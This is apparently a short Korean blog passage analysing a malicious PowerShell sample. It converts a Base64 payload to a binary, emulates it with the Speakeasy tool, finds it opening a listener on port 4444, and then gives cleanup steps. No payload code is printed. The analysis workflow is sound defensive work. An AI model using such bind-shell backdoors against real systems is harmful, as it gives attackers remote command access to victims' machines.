간단히 요약하면 Base64를 Hex값으로 변환 후 에뮬레이터 도구를 이용하여 데이터를 추출합니다.

  • Base64를 Hex 로 변환

 

  • Hex Editor에 새파일을 만들고 Hex값을 넣고 저장 (shell.bin으로 저장하였음)

 

  • speakeasy 도구(윈도우 에뮬레이터 도구) 로 shell.bin 파일을 실행

💡 Speakeasy ? Speakeasy는 윈도우 커널과 사용자 모드 멀웨어를 모방하기 위해 설계된 휴대용 모듈식 바이너리 에뮬레이터 입니다.

 

shell.bin 파일을 에뮬레이팅 한 결과 “0.0.0.0:4444” Listen 이라는 이상 문자열을 확인할 수 있습니다.

즉, 로컬에 4444 포트를 여는 행위를 찾을 수 있습니다.

 

 

결론

테스트에 사용된 파워쉘 코드는 코드가 실행되면 “4444” 포트를 열어서 추가 공격을 위해 명령을 받기 위한 백도어 타입의 악성 파워쉘이라고 판단할 수 있습니다.

실제로 해당 파워쉘 코드를 실행했을 때 PC에서 “0.0.0.0:4444” 리스닝 상태가 동작함을 확인할 수 있습니다.

이런 형태의 이상 행위가 탐지되었다면,

이벤트 뷰어를 통해 지속성을 위한 악성 서비스 등록이 있는지 확인하고 제거하는 조치가 필요하며, netstat 명령어 또는 프로세스 모니터링 도구를 통해 4444포트를 열고 있는 프로세스를 종료하고 관련 스케줄링, 서비스를 찾아 모두 제거해야 합니다.

 

반응형